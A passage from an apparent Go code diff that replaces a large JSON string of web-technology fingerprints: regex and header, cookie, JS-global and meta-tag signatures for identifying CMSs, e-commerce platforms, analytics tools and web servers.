govcms\\;version:\\1"]},"implies":["Drupal"]},"Bulma":{"js":["bulma.version"]},"Superspeed":{"implies":["Shopify"]},"NVD3":{"js":["nv.addgraph","nv.version"],"html":["\u003clink[^\u003e]* href=[^\u003e]+nv\\.d3(?:\\.min)?\\.css"],"implies":["D3"]},"nopStation":{"implies":["Microsoft ASP.NET"]},"ThemezHut Bam":{},"Zeleris":{},"Bentobox":{"js":["bentoanalytics"]},"RapidSec":{"headers":{"content-security-policy":"\\.rapidsec\\.net","content-security-policy-report-only":"\\.rapidsec\\.net","report-to":"\\.rapidsec\\.net"}},"Zoey":{"js":["zoeydev","zoey.module","zoey.developer"],"implies":["PHP","MySQL"]},"UltraCart":{"js":["uccatalog"],"html":["\u003cform [^\u003e]*action=\"[^\"]*\\/cgi-bin\\/uceditor\\?(?:[^\"]*\u0026)?merchantid=[^\"]"]},"WebZi":{"js":["webzicart","webzivalidate"],"meta":{"generator":["^webzi\\.ir\\swebsite\\sbuilder$"]}},"WhatsApp Business Chat":{},"TypeScript":{},"Big Cartel":{"meta":{"generator":["big cartel"]}},"Amazon SES":{"implies":["Amazon Web Services"]},"Google Font API":{"js":["webfonts"],"html":["\u003clink[^\u003e]* href=[^\u003e]+fonts\\.(?:googleapis|google)\\.com"]},"LiveChat":{},"yellow.ai":{"js":["ymconfig"]},"Automizely":{"js":["am_consent_sdk.product","amstorefrontkit.hrequesteventtarget","automizelyconversions"]},"Smartstore Page Builder":{"html":["\u003csection[^\u003e]+class=\"g-stage"],"css":["\\.g-stage \\.g-stage-root"],"implies":["Microsoft ASP.NET"]},"WebEngage":{"js":["webengage.__v"]},"Hostgator":{},"ApostropheCMS":{"js":["apos_dialogs.dialogattributes","apos.csrfcookiename"],"implies":["Node.js"]},"EraofEcom MTL":{"implies":["Shopify"]},"Fasterize":{"js":["fstrz"]},"Klaro":{"js":["klaroconfig","klaro"]},"Sivuviidakko":{"meta":{"generator":["sivuviidakko"]}},"PureCars":{"js":["_purecars"]},"Intersection Observer":{},"jQuery UI":{"js":["jquery.ui.version"],"implies":["jQuery"]},"Shop Pay":{"js":["shopifypay.apihost"]},"Pagevamp":{"js":["pagevamp"],"headers":{"x-servedby":"pagevamp"}},"Drift":{"js":["drift","driftt"]},"OpenNemas":{"headers":{"x-powered-by":"opennemas"},"meta":{"generator":["opennemas"]}},"OneTrust":{"cookies":{"optanonconsent":""}},"Crisp Live Chat":{"js":["$__crisp_included","$crisp","crisp_website_id"]},"Danneo CMS":{"headers":{"x-powered-by":"cms danneo ([\\d.]+)\\;version:\\1"},"meta":{"generator":["danneo cms ([\\d.]+)\\;version:\\1"]},"implies":["Apache","PHP"]},"Revieve":{"js":["revieve.__esmodule","revieveconfig.onclickproduct"]},"Xanario":{"meta":{"generator":["xanario shopsoftware"]}},"Glider.js":{},"OutSystems":{"js":["outsystemsdebugger","outsystems"],"implies":["Windows Server","IIS"]},"Poste Italiane":{},"MediaElement.js":{"js":["mejs.version","mejs"]},"Dominate WooCommerce":{},"Priority Hints":{},"AngularJS":{"js":["angular.version.full","angular"],"html":["\u003c(?:div|html)[^\u003e]+ng-app=","\u003cng-app"]},"Select2":{"js":["jquery.fn.select2"],"implies":["jQuery"]},"RankMath SEO":{},"CJDropshipping app":{},"Bronto":{"js":["brontocookieconsent","brontoshopify","bronto.versions.sca"]},"VerifyPass":{"js":["verifypass_api_instantiator","verifypass_is_loaded","verifypass_popup"]},"SiteVibes":{"js":["sitevibesmanager"]},"Acoustic Experience Analytics":{"js":["tlt.config.core.modules.tlcookie","tlt_version","tealeaf"]},"Google PageSpeed":{"headers":{"x-mod-pagespeed":"([\\d.]+)\\;version:\\1","x-page-speed":"(.+)\\;version:\\1"}},"Go":{},"BambooHR":{"js":["scrolltobamboohr"],"headers":{"content-security-policy":"\\.bamboohr\\.com"}},"Oracle Commerce Cloud":{"headers":{"oraclecommercecloud-version":"^(.+)$\\;version:\\1"}},"DM Polopoly":{"implies":["Java"]},"Lagoon":{"headers":{"x-lagoon":""}},"Public CMS":{"cookies":{"publiccms_user":""},"headers":{"x-powered-publiccms":"^(.+)$\\;version:\\1"},"implies":["Java"]},"Typof":{"cookies":{"typof_session":"\\;confidence:50"}},"Judge.me":{"js":["judgeme"],"implies":["Shopify"]},"Grafana":{"js":["__grafana_public_path__"],"implies":["Go","Macaron"]},"Didomi":{},"Hiawatha":{"headers":{"server":"hiawatha v([\\d.]+)\\;version:\\1"}},"Myhkw player":{"js":["myhkplayerlist","myhk_player_songid"]},"Linx Impulse":{"js":["linx.banner","linximpulse.config","linximpulseinitialized"]},"CoConstruct":{},"Wheelio":{},"A8.net":{"js":["a8salescookierepository","a8sales","map_a8"]},"Coveo":{"js":["coveo"]},"Happy Returns":{},"Okta":{"js":["isoktaenabled","oktacurrentsessionurl","oktaauth"]},"uRemediate":{},"HubSpot":{"js":["_hsq","hubspot"],"html":["\u003c!-- start of async hubspot"]},"Zepto":{"js":["zepto"]},"Colorlib Illdy":{},"Bold Chat":{},"World4You":{},"Hammer.js":{"js":["ha.version","hammer","hammer.version"]},"Affilae":{},"Chatango":{},"Vanilla":{"headers":{"x-powered-by":"vanilla"},"html":["\u003cbody id=\"(?:discussionspage|vanilla)"],"implies":["PHP"]},"LiveStreet CMS":{"js":["livestreet_security_key"],"headers":{"x-powered-by":"livestreet cms"},"implies":["PHP"]},"Square Online":{"js":["app_origin"],"implies":["Weebly"]},"xtCommerce":{"html":["\u003cdiv class=\"copyright\"\u003e[^\u003c]+\u003ca[^\u003e]+\u003ext:commerce"],"meta":{"generator":["xt:commerce"]}},"Juo":{},"RX Web Server":{"headers":{"x-powered-by":"rx-web"}},"Colorlib Activello":{"js":["activelloismobile"]},"Salesforce Interaction Studio":{"js":["evergage","evergagehidesections"]},"FlexSlider":{"implies":["jQuery"]},"Mailjet":{},"Colis Privé":{},"LKQD":{"js":["lkqderrorcount","lkqdsettings","lkqd_http_response","lkqdcall"]},"Ruby on Rails":{"cookies":{"_session_id":"\\;confidence:75"},"js":["__react_on_rails_event_handlers_ran_once__","reactonrails"],"headers":{"server":"mod_(?:rails|rack)","x-powered-by":"mod_(?:rails|rack)"},"meta":{"csrf-param":["^authenticity_token$\\;confidence:50"]},"implies":["Ruby"]},"Cookie Script":{},"Correos Ecommerce":{"js":["comandia"]},"Divido":{},"NoFraud":{},"Adloox":{},"Partnerize":{},"AccessTrade":{},"UltimatelySocial":{},"OXID eShop":{"cookies":{"sid_key":"oxid"},"js":["oxcookienote","oxinputvalidator","oxloginbox","oxminibasket","oxmodalpopup","oxtopmenu"],"implies":["PHP"]},"Omnisend":{"cookies":{"omnisendsessionid":""},"js":["_omnisend"],"meta":{"omnisend-site-verification":[]}},"Sellfy":{"js":["_sellfy.version"]},"Affiliatly":{},"WebFactory Under Construction":{},"Extendify":{"meta":{"framework":["^redux ([\\d\\.]+)\\;version:\\1"]}},"VWO":{"js":["vwo","__vwo"]},"GoDaddy":{},"Bold Upsell":{"js":["bold.upsell"],"implies":["Shopify","Bold Commerce"]},"34SP.com":{},"Nosto":{"js":["nosto","nostojs"],"meta":{"nosto-version":["([\\d.]+)\\;version:\\1"]}},"Shuttle":{"js":["shuttle.frontapp"],"implies":["Laravel","PHP","Amazon Web Services"]},"WEBDEV":{"headers":{"webdevsrc":""},"html":["\u003c!-- [a-za-z0-9_]+ [\\d/]+ [\\d:]+ webdev \\d\\d ([\\d.]+) --\u003e\\;version:\\1"],"meta":{"generator":["^webdev$"]}},"Planet":{"meta":{"generator":["^planet(?:/([\\d.]+))?\\;version:\\1"]}},"Rise.ai":{"js":["rise.shop","risestorefront"]},"Trustvox":{"js":["trustvox_id","trustvoxcertificatewidget","trustvoxrateswidget","_trustvox","_trustvox_colt","_trustvox_shelf_rate"]},"eKomi":{"js":["ekomiwidgetmain"]},"PickyStory":{"js":["pickystory.overridestore"],"implies":["Shopify"]},"Trunkrs":{},"Hello Bar":{"js":["hellobar","hellobarsitesettings"]},"Apache Tomcat":{"headers":{"x-powered-by":"\\btomcat\\b(?:-([\\d.]+))?\\;version:\\1","server":"^apache-coyote"},"implies":["Java"]},"Tiqets":{"js":["__tiqets_loader_reinit"]},"Gumlet":{"js":["gumlet"]},"Subrion":{"headers":{"x-powered-cms":"subrion cms"},"meta":{"generator":["^subrion "]},"implies":["PHP"]},"Zipify OCU":{},"ThemeGrill Flash":{},"Uniconsent":{},"JW Player":{"js":["webpackjsonpjwplayer","jwdefaults","jwplayer","jwplayerapiurl"]},"Skedify":{"js":["skedify.plugin.version"]},"Contact Form 7":{"js":["wpcf7"]},"SharpSpring Ads":{"js":["_pa"]},"DHL":{},"Microsoft PowerPoint":{"html":["(?:\u003chtml [^\u003e]*xmlns:w=\"urn:schemas-microsoft-com:office:powerpoint\"|\u003clink rel=\"?presentation-xml\"? href=\"?[^\"]+\\.xml\"?\u003e|\u003co:presentationformat\u003e[^\u003c]+\u003c/o:presentationformat\u003e[^!]+\u003co:slides\u003e\\d+\u003c/o:slides\u003e(?:[^!]+\u003co:version\u003e([\\d.]+)\u003c/o:version\u003e)?)\\;version:\\1"],"meta":{"progid":["^powerpoint\\."],"generator":["microsoft powerpoint ( [\\d.]+)?\\;version:\\1"]}},"Astra":{},"Yext":{"js":["answers._analyticsreporterservice._baseurl"]},"ClickDimensions":{"js":["clickdimensions"]},"TrustArc":{},"CacheFly":{"headers":{"server":"^cfs ","x-cf1":"","x-cf2":""}},"Winstone Servlet Container":{"headers":{"server":"winstone servlet (?:container|engine) v?([\\d.]+)?\\;version:\\1","x-powered-by":"winstone(?:\\/([\\d.]+))?\\;version:\\1"}},"Bump":{},"ThemeIsle Menu Icons":{},"GlobalShopex":{"js":["gsxminicheckout","gsxpreviewcheckout"]},"GotiPath":{"headers":{"x-cache":"\\.swiftserve\\.com"}},"Re:amaze":{"js":["reamaze.version"]},"Pinterest Ads":{},"jqPlot":{"implies":["jQuery"]}}}` \ No newline at end of file +var fingerprints = `{"apps":{"Affilo":{},"Dovetale":{"js":["dovetale"]},"Upptime":{},"Dukaan":{"meta":{"apple-mobile-web-app-title":["^mydukaan$"]}},"Shopery":{"headers":{"x-shopery":""},"implies":["PHP","Symfony","Elcodi"]},"ZingChart":{"js":["zingchart"]},"Bitcoin":{},"TWiki":{"cookies":{"twikisid":""},"html":["\u003cimg [^\u003e]*(?:title|alt)=\"this site is powered by the twiki collaboration platform"],"implies":["Perl"]},"SnapEngage":{"js":["snapengagechat","snapengage_mobile","snapengage"],"html":["\u003c!-- begin snapengage"]},"Vidazoo":{"js":["vidazoo","vidazoo.version","__vidazooplayer__"]},"Epoch":{"html":["\u003clink[^\u003e]+?href=\"[^\"]+epoch(?:\\.min)?\\.css"],"implies":["D3"]},"Zakra":{"js":["zakrafrontend","zakranavhelper.dimension"]},"Duel":{"cookies":{"_duelcsrf":""},"js":["duel.apiurl"],"implies":["Node.js","Angular","MongoDB"]},"Google Optimize":{"js":["google_optimize"]},"PayKickStart":{},"Kustomer":{"js":["kustomer"]},"TypeScript":{},"True Fit":{},"JET Enterprise":{"headers":{"powered":"jet-enterprise"}},"Supersized":{},"Scorpion":{"js":["process.userdata"],"html":["\u003c[^\u003e]+id=\"hsscorpion"]},"cdnjs":{"implies":["Cloudflare"]},"Cybersource":{},"Kibo Personalization":{"js":["certona.recommendations","certonarecommendations","monetate","monetateq","monetatet","baynoteapi","baynotejsversion"]},"Speedimize":{},"Pipedrive":{"js":["leadbooster"]},"Oracle Application Server":{"headers":{"server":"oracle[- ]application[- ]server(?: containers for j2ee)?(?:[- ](\\d[\\da-z./]+))?\\;version:\\1"}},"Themeansar Newsberg":{},"TrafficStars":{},"Frontity":{"meta":{"generator":["^frontity"]},"implies":["React","webpack","WordPress"]},"Mopinion":{"js":["pastease"]},"Theme4Press Evolve":{"js":["evolve_js_local_vars"]},"Adalyser":{"js":["adalysermodules"]},"Foswiki":{"cookies":{"foswikistrikeone":"","sfoswikisid":""},"js":["foswiki"],"headers":{"x-foswikiaction":"","x-foswikiuri":""},"html":["\u003cdiv class=\"foswiki(?:copyright|page|main)\"\u003e"],"meta":{"foswiki.servertime":[],"foswiki.wikiname":[]},"implies":["Perl"]},"ChannelApe":{},"Next.js":{"js":["__next_data__","next.version"],"headers":{"x-powered-by":"^next\\.js ?([0-9.]+)?\\;version:\\1"},"implies":["React","webpack","Node.js"]},"Tengine":{"headers":{"server":"tengine"}},"DTScout":{},"Target2Sell":{},"ipdata":{},"Cufon":{"js":["cufon"]},"Swiper":{"js":["swiper"]},"AccessiBe":{"js":["acsbjs","acsb"]},"Swagger UI":{},"Robin":{"js":["_robin_getrobinjs","robin_settings","robin_storage_settings"]},"Fat Zebra":{"html":["\u003c(?:iframe|img|form)[^\u003e]+paynow\\.pmnts\\.io","\u003c(?:iframe)[^\u003e]+fatzebraframe"]},"Arc":{"js":["arcwidgetjsonp","arc.p2pclient"]},"Sendinblue":{"js":["sendinblue"]},"Welcart":{"cookies":{"usces_cookie":""},"html":["\u003clink[^\u003e]+?href=\"[^\"]+usces_default(?:\\.min)?\\.css","\u003c!-- welcart version : v([\\d.]+)\\;version:\\1"]},"Loja2":{},"Indi":{"js":["indi.formatstats","indicountly.check_any_consent","indi_carousel.productcta"]},"mod_fastcgi":{"headers":{"server":"mod_fastcgi(?:/([\\d.]+))?\\;version:\\1"},"implies":["Apache"]},"Simpli.fi":{},"Libravatar":{},"BySide":{"js":["byside","bysidewebcare_banner"]},"Ahoy":{"cookies":{"ahoy_visit":"","ahoy_visitor":"","ahoy_track":""},"js":["ahoy"]},"Atlassian Jira":{"js":["jira.id"],"meta":{"application-name":["jira"],"data-version":["([\\d.]+)\\;version:\\1\\;confidence:0"]},"implies":["Java"]},"Amazon ELB":{"cookies":{"awselb":""},"implies":["Amazon Web Services"]},"DoubleClick for Publishers (DFP)":{},"Sails.js":{"cookies":{"sails.sid":""},"headers":{"x-powered-by":"^sails(?:$|[^a-z0-9])"},"implies":["Express"]},"Kajabi":{"cookies":{"_kjb_session":""},"js":["kajabi"]},"Planet":{"meta":{"generator":["^planet(?:/([\\d.]+))?\\;version:\\1"]}},"Advally":{"js":["advally"]},"Neve":{},"Kaira Vogue":{},"KobiMaster":{"js":["kmpageinfo","kmgetsession"],"implies":["Microsoft ASP.NET"]},"PageFly":{"js":["__pagefly_setting__"],"headers":{"x-powered-by":"pagefly"}},"Day.js":{"js":["dayjs"]},"U-KOMI":{"js":["getukomislideriteminfo","ukomiinstalikestep01"]},"Mangeznotez":{},"Kibo Commerce":{},"Adcash":{"js":["ct_tag","suloaded","suurl","ac_bgclick_url","ct_nopp","ct_nsuurl","ct_siteunder"]},"Gridsome":{"meta":{"generator":["^gridsome v([\\d.]+)$\\;version:\\1"]},"implies":["Vue.js"]},"Hestia":{},"AdBridg":{"js":["adbridg.cmd"]},"Linkedin Sign-in":{"js":["onlinkedinauth","onlinkedinload"]},"Contentstack":{},"Guestonline":{},"Loggly":{"js":["logglytracker"]},"phpCMS":{"js":["phpcms"],"implies":["PHP"]},"Imagely NextGEN Gallery":{},"Sellsy":{"js":["sellsysnippet"]},"All in One SEO Pack":{"html":["\u003c!-- all in one seo pack ([\\d.]+) \\;version:\\1"]},"REDAXO":{"js":["redaxo"],"implies":["PHP"]},"Fact Finder":{"html":["\u003c!-- factfinder"]},"Liferay":{"js":["liferay"],"headers":{"liferay-portal":"[a-z\\s]+([\\d.]+)\\;version:\\1"}},"ThemezHut Bam":{},"PushOwl":{},"Addi":{},"Debian":{"headers":{"server":"debian","x-powered-by":"(?:debian|dotdeb|(potato|woody|sarge|etch|lenny|squeeze|wheezy|jessie|stretch|buster|sid))\\;version:\\1"}},"Checkout.com":{},"Pin Payments":{},"Sailthru":{"cookies":{"sailthru_pageviews":""},"js":["sailthru","sailthruidentify","sailthrunewsletterregistration","tracksailthruuser"],"meta":{"sailthru.image.full":[],"sailthru.title":[]}},"Ruby on Rails":{"cookies":{"_session_id":"\\;confidence:75"},"js":["reactonrails","__react_on_rails_event_handlers_ran_once__"],"headers":{"server":"mod_(?:rails|rack)","x-powered-by":"mod_(?:rails|rack)"},"meta":{"csrf-param":["^authenticity_token$\\;confidence:50"]},"implies":["Ruby"]},"Clickbank":{"js":["cbtb"]},"K2":{"js":["k2ratingurl"],"html":["\u003c!--(?: joomlaworks \"k2\"| start k2)"],"implies":["Joomla"]},"Mews":{"js":["mews"]},"ThemeGrill Spacious":{"js":["spacious_slider_value"]},"EPrints":{"js":["epjs_menu_template","eprints"],"meta":{"generator":["eprints ([\\d.]+)\\;version:\\1"]},"implies":["Perl"]},"Classeh":{"meta":{"author":["^fanavar\\.org$"]},"implies":["PHP","React","Python"]},"SegmentStream":{"js":["segmentstream.version"]},"Loadable-Components":{"js":["__loadable_loaded_chunks__"]},"AD EBiS":{"js":["ebis.c.pageurl"]},"Affilae":{},"Twenty Thirteen":{},"GoDaddy Lyrical":{},"Menufy Website":{"js":["views_website_layouts_footer_menufy"]},"Adverticum":{},"Findify":{"js":["findifyanalytics","findify"]},"Docker":{"html":["\u003c!-- this comment is expected by the docker healthcheck --\u003e"]},"Pars Elecom Portal":{"headers":{"x-powered-by":"pars elecom portal"},"meta":{"copyright":["pars elecom portal"]},"implies":["Microsoft ASP.NET","IIS","Windows Server"]},"Commanders Act TrustCommander":{},"MediaElement.js":{"js":["mejs","mejs.version"]},"Omnisend":{"cookies":{"omnisendsessionid":""},"js":["_omnisend"],"meta":{"omnisend-site-verification":[]}},"Orchard CMS":{"meta":{"generator":["orchard"]},"implies":["Microsoft ASP.NET"]},"Shopify Consent Management":{"implies":["Shopify"]},"LearnWorlds":{"js":["lwclient.ebooks","lwsettings.deactive_components"]},"CartStack":{"js":["_cartstack"]},"ReferralCandy":{},"Fourthwall":{"js":["fourthwallanalytics","fourthwalltheme"],"meta":{"version":["^(.+)$\\;version:\\1\\;confidence:0"]}},"Fathom":{"js":["fathom.blocktrackingforme"]},"Hotaru CMS":{"cookies":{"hotaru_mobile":""},"meta":{"generator":["hotaru cms"]},"implies":["PHP"]},"Oracle HTTP Server":{"headers":{"server":"oracle-http-server(?:/([\\d.]+))?\\;version:\\1"}},"Bricksite":{"js":["bricksite.common.apiurls.base"],"meta":{"generator":["^bricksite$"]}},"mobicred":{},"LiveZilla":{"js":["lz_chat_execute","lz_code_id","lz_tracking_set_widget_visibility"]},"Wix Answers":{},"MyOnlineStore":{"meta":{"generator":["mijnwebwinkel"]}},"siimple":{},"Redux":{},"Cart.js":{"implies":["Shopify"]},"Go Instore":{"js":["gisapp.videojsctrl","gisapplib.postrobot"],"headers":{"content-security-policy":"\\.goinstore\\.com"}},"Loop Returns":{"js":["loop.config.variantparam","looponstore"]},"Omniconvert":{"js":["_omni"]},"InSyncai":{},"Fit Analytics":{"js":["fitanalyticswidget","_fitanalytics"]},"eShopCRM":{"implies":["Shopify"]},"vcita":{"js":["livesite.btcheckout","vcita"]},"cState":{"meta":{"generator":["cstate v([\\d\\.]+)\\;version:\\1"]}},"gitweb":{"html":["\u003c!-- git web interface version ([\\d.]+)?\\;version:\\1"],"meta":{"generator":["gitweb(?:/([\\d.]+\\d))?\\;version:\\1"]},"implies":["Perl","git"]},"TRUENDO":{"js":["truendo","truendocookiecontrolcallback"]},"Zmags Creator":{"js":["__zmags"]},"Fork CMS":{"meta":{"generator":["^fork cms$"]},"implies":["Symfony"]},"Umso":{},"Aweber":{"js":["awt_analytics"]},"cgit":{"meta":{"generator":["^cgit v([\\d.a-z-]+)$\\;version:\\1"]},"implies":["git","C"]},"Mapbox GL JS":{"js":["mapboxgl.version"]},"Comm100":{"js":["comm100_chatbutton","comm100_livechat_open_link","comm100api"]},"KueskiPay":{"js":["kueskypushhead"],"implies":["Cart Functionality"]},"EPiServer":{"cookies":{"episerver":"","epitrace":""},"meta":{"generator":["episerver"]},"implies":["Microsoft ASP.NET"]},"TomatoCart":{"js":["ajaxshoppingcart"],"meta":{"generator":["tomatocart"]}},"Halo":{"meta":{"generator":["halo ([\\d.]+)?\\;version:\\1"]},"implies":["Java"]},"Web2py":{"headers":{"x-powered-by":"web2py"},"meta":{"generator":["^web2py"]},"implies":["Python","jQuery"]},"Yoast SEO Premium":{"html":["\u003c!-- this site is optimized with the yoast seo premium plugin v([^\\s]+) \\;version:\\1"]},"papaya CMS":{"html":["\u003clink[^\u003e]*/papaya-themes/"],"implies":["PHP"]},"Fastspring":{"html":["\u003ca [^\u003e]*href=\"https?://sites\\.fastspring\\.com","\u003cform [^\u003e]*action=\"https?://sites\\.fastspring\\.com"]},"Justuno":{"js":["justunoapp"]},"Segmanta":{"js":["segmanta__dynamic_embed_config","segmanta__user_metadata"]},"Java":{"cookies":{"jsessionid":""}},"UIKit":{"html":["\u003c[^\u003e]+class=\"[^\"]*(?:uk-container|uk-section)"]},"Visualsoft":{"cookies":{"vscommerce":""},"meta":{"vs_status_checker_version":["\\d+"],"vsvatprices":[]}},"wpCache":{"headers":{"x-powered-by":"wpcache(?:/([\\d.]+))?\\;version:\\1"},"html":["\u003c!--[^\u003e]+wpcache"],"meta":{"generator":["wpcache"],"keywords":["wpcache"]},"implies":["PHP"]},"Alpine.js":{"js":["alpine.version"],"html":["\u003c[^\u003e]+[^\\w-]x-data[^\\w-][^\u003c]+\\;confidence:75"]},"Axios":{"js":["axios.get"]},"Jivox":{},"Transifex":{"js":["transifex.live.lib_version"]},"ShoutOut":{},"Essential JS 2":{"html":["\u003c[^\u003e]+ class ?= ?\"(?:e-control|[^\"]+ e-control)(?: )[^\"]* e-lib\\b"]},"Apache Traffic Server":{"headers":{"server":"ats/?([\\d.]+)?\\;version:\\1"}},"Virtuoso":{"headers":{"server":"virtuoso/?([0-9.]+)?\\;version:\\1"},"meta":{"copyright":["^copyright \u0026copy; \\d{4} openlink software"],"keywords":["^openlink virtuoso sparql"]}},"Nginx":{"headers":{"server":"nginx(?:/([\\d.]+))?\\;version:\\1","x-fastcgi-cache":""}},"CleverTap":{"js":["clevertap"]},"HubSpot Analytics":{},"PerfectApps Swift":{"js":["ps_apiuri","ps_storeurl"]},"Braintree":{"js":["braintree","braintree.version"]},"Seers":{},"Satori":{"js":["satoriform"]},"Plotly":{"js":["plotly.version"],"implies":["D3"]},"Infomaniak":{},"NetSuite":{"cookies":{"ns_ver":""}},"MageWorx Search Autocomplete":{},"Oxatis":{"meta":{"generator":["^oxatis\\s\\(www\\.oxatis\\.com\\)$"]}},"VentraIP":{},"Chitika":{"js":["ch_client","ch_color_site_link"]},"Nudgify":{"js":["nudgify.cart"]},"eSyndiCat":{"js":["esyndicat"],"headers":{"x-drectory-script":"^esyndicat"},"meta":{"generator":["^esyndicat "]},"implies":["PHP"]},"JANet":{},"Superspeed":{"implies":["Shopify"]},"Drupal":{"js":["drupal"],"headers":{"expires":"19 nov 1978","x-drupal-cache":"","x-generator":"^drupal(?:\\s([\\d.]+))?\\;version:\\1"},"html":["\u003c(?:link|style)[^\u003e]+\"/sites/(?:default|all)/(?:themes|modules)/"],"meta":{"generator":["^drupal(?:\\s([\\d.]+))?\\;version:\\1"]},"implies":["PHP"]},"Heap":{"js":["heap.version.heapjsversion"]},"Froala Editor":{"js":["froalaeditor.version"],"implies":["jQuery","Font Awesome"]},"Trbo":{"cookies":{"trbo_session":"^(?:[\\d]+)$","trbo_usr":"^(?:[\\d\\w]+)$"},"js":["_trbo","_trbo_start","_trboq"]},"Flarum":{"js":["app.cache.discussionlist","app.forum.freshness"],"html":["\u003cdiv id=\"flarum-loading\""],"implies":["PHP","MySQL"]},"Qualtrics":{"js":["qsi.clientsidetargeting"]},"INFOnline":{"js":["iam_data","szmvars"]},"Ethers":{"js":["_ethers"]},"Salesforce Service Cloud":{"js":["embedded_svc"],"implies":["Salesforce"]},"WooCommerce Multilingual":{},"jQuery Sparklines":{"implies":["jQuery"]},"ThinkPHP":{"headers":{"x-powered-by":"thinkphp"},"implies":["PHP"]},"PowerReviews":{"js":["powerreviews"]},"Gentoo":{"headers":{"x-powered-by":"gentoo"}},"Themebeez Orchid Store":{"js":["orchid_store_obj"]},"Contenido":{"meta":{"generator":["contenido ([\\d.]+)\\;version:\\1"]},"implies":["PHP"]},"Back In Stock":{},"YNAP Ecommerce":{"js":["ytos","ycookieapiurl"]},"ProfilePress":{"cookies":{"ppwp_wp_session":""}},"Yahoo! Ecommerce":{"js":["ystore"],"headers":{"x-xrds-location":"/ystore/"},"html":["\u003clink[^\u003e]+store\\.yahoo\\.net"]},"Neat A/B testing":{"implies":["Shopify"]},"Phoenix":{"js":["phoenix"],"meta":{"generator":["^phoenix"]},"implies":["React","webpack","Node.js"]},"Yii":{"cookies":{"yii_csrf_token":""},"html":["powered by \u003ca href=\"http://www\\.yiiframework\\.com/\" rel=\"external\"\u003eyii framework\u003c/a\u003e","\u003cinput type=\"hidden\" value=\"[a-za-z0-9]{40}\" name=\"yii_csrf_token\" \\/\u003e","\u003c!\\[cdata\\[yii-block-(?:head|body-begin|body-end)\\]"],"implies":["PHP"]},"Post Affiliate Pro":{"js":["postaffaction","postaffcookie","postaffinfo","postafftracker"]},"DomainFactory":{},"Bpost":{},"Open eShop":{"meta":{"author":["open-eshop\\.com"],"copyright":["open eshop ?([0-9.]+)?\\;version:\\1"]},"implies":["PHP"]},"GitHub Pages":{"headers":{"server":"^github\\.com$","x-github-request-id":""}},"PersonaClick":{"js":["personaclick","personaclick_callback"]},"TinyMCE":{"js":["tinymce.majorversion"]},"Vimeo":{"js":["vimeo.player","vimeoplayer"]},"Contlo":{"js":["contlo_env"]},"Facebook Pixel":{"js":["_fbq"]},"MODX":{"js":["modx","modx_media_path"],"headers":{"x-powered-by":"^modx"},"html":["\u003ca[^\u003e]+\u003epowered by modx\u003c/a\u003e","\u003c(?:link|script)[^\u003e]+assets/snippets/\\;confidence:20","\u003cform[^\u003e]+id=\"ajaxsearch_form\\;confidence:20","\u003cinput[^\u003e]+id=\"ajaxsearch_input\\;confidence:20"],"meta":{"generator":["modx[^\\d.]*([\\d.]+)?\\;version:\\1"]},"implies":["PHP"]},"Cococart":{},"Contabo":{},"Lytics":{"js":["__lytics__jstag__.version"]},"Yampi Virtual store":{"js":["yampi.api_domain","yampi.cart_token"],"implies":["Yampi Checkout"]},"Obviyo":{"js":["__hic.version"]},"PayJustNow":{},"Payl8r":{},"SIMsite":{"meta":{"sim.medium":[]}},"Frizbit":{"js":["frizbit.configurationmanager","frizbit.remoteconfigs"]},"Octane AI":{"js":["octaneconfig"]},"GoAffPro":{"js":["gfp_api_server"]},"Split":{"js":["splitio_api_key","split_shopper_client","split_visitor_client","splitio"]},"AdOcean":{"js":["ado.master","ado.placement","ado.slave"],"implies":["Gemius"]},"Booking.com widget":{"implies":["Booking.com"]},"Visual Composer":{"meta":{"generator":["powered by visual composer website builder"]},"implies":["WordPress","PHP"]},"Moguta.CMS":{"html":["\u003clink[^\u003e]+href=[\"'][^\"]+mg-(?:core|plugins|templates)/"],"implies":["PHP"]},"Bump":{},"AWS Certificate Manager":{"implies":["Amazon Web Services"]},"ImageEngine":{},"Complianz":{"js":["complianz.version"]},"Zope":{"headers":{"server":"^zope/"}},"Adobe Flash":{},"T1 Paginas":{"meta":{"generator":["^t1paginas$"]},"implies":["AngularJS","Node.js","MongoDB"]},"DigiCert":{},"Shop Pay":{"js":["shopifypay.apihost"]},"Dancer":{"headers":{"x-powered-by":"perl dancer ([\\d.]+)\\;version:\\1","server":"perl dancer ([\\d.]+)\\;version:\\1"},"implies":["Perl"]},"Atlassian Bitbucket":{"js":["bitbucket"],"html":["\u003cli\u003eatlassian bitbucket \u003cspan title=\"[a-z0-9]+\" id=\"product-version\" data-commitid=\"[a-z0-9]+\" data-system-build-number=\"[a-z0-9]+\"\u003e v([\\d.]+)\u003c\\;version:\\1"],"meta":{"application-name":["bitbucket"]},"implies":["Python"]},"Weblogic Server":{"headers":{"server":"^weblogic\\sserver\\s([\\d\\.]+)?\\;version:\\1"},"implies":["JavaServer Pages"]},"Easy Hide PayPal":{"implies":["Shopify"]},"Insider":{"js":["insider"]},"Websocket":{"html":["\u003clink[^\u003e]+rel=[\"']web-socket[\"']","\u003c(?:link|a)[^\u003e]+href=[\"']wss?://"]},"Theme Vision Agama":{"js":["agama","agama_pro"]},"WP-PageNavi":{},"Wikinggruppen":{"html":["\u003c!-- wikinggruppen"]},"Resengo":{"js":["wpjsonpresengoreservationwidget"]},"Mastodon":{"cookies":{"_mastodon_session":""},"headers":{"server":"^mastodon$"}},"Sirclo":{"headers":{"x-powered-by":"sirclo"}},"SpeedSize":{},"Orankl":{"js":["orankl","oranklinit"]},"Hoefler\u0026Co":{},"OpenText Web Solutions":{"html":["\u003c!--[^\u003e]+published by open text web solutions"],"implies":["Microsoft ASP.NET"]},"Turbolinks":{"js":["turbolinks"]},"Hund.io":{},"Vite":{},"JobAdder":{},"Endurance Page Cache":{"headers":{"x-endurance-cache-level":""}},"LocomotiveCMS":{"html":["\u003clink[^\u003e]*/sites/[a-z\\d]{24}/theme/stylesheets"],"implies":["Ruby on Rails","MongoDB"]},"EmbedSocial":{"js":["embedsocialiframelightbox","embedsocialhashtag"]},"Theme Freesia Edge":{"js":["edge_slider_value"]},"Moment.js":{"js":["moment","moment.version"]},"Plausible":{"js":["plausible"]},"Zendesk":{"cookies":{"_help_center_session":"","_zendesk_cookie":"","_zendesk_shared_session":""},"js":["zendesk"],"headers":{"x-zendesk-user-id":""}},"Botble CMS":{"cookies":{"botble_session":""},"headers":{"cms-version":"^(.+)$\\;version:\\1\\;confidence:0"},"implies":["Laravel"]},"Fat-Free Framework":{"headers":{"x-powered-by":"^fat-free framework$"},"implies":["PHP"]},"GOV.UK 